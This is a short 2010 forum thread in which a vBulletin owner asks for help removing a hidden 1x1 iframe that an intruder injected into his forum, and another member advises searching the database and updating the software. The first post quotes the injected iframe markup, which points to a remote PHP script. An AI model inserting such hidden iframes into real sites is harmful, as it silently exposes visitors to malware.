Hacked my forum help me

[dheeraj4uuu]

Hello,

Someone hacked my forum and placed an Iframe in my site. I have removed all my vbulletin files and replaced with new version files. But still the Iframe is there can anyone help me please...

Here is my url
<snip>

If you open the source of the site you can see at the top of the source the following code.

<iframe name="fra" width="1" height="1" scrolling="no" frameborder="no" marginwidth="0" marginheight="0" src="http://www.example.com/rob.php"></iframe>

Please help me....

[edited by: dreamcatcher at 10:52 am (utc) on Mar 28, 2010]
[edit reason] no urls please, see T.O.S [/edit]

[eelixduppy]

I have removed all my vbulletin files and replaced with new version files.

If this is true then it is probably present in the database someplace. Check there to see if you can't find it, and then try to backtrack the steps to see how it got there in the first place, or who put it there.

And if you don't have the most current version of vbulletin I would suggest updating. Although there are still vulnerabilities, it should help a little.

[dheeraj4uuu]

Mine database is about 3 Gigs...How can i search for the string....i've searched using phpMyAdmin and i did'nt find anything..And i have updated my VB to current version...But still it is there....Is there anything iam missing?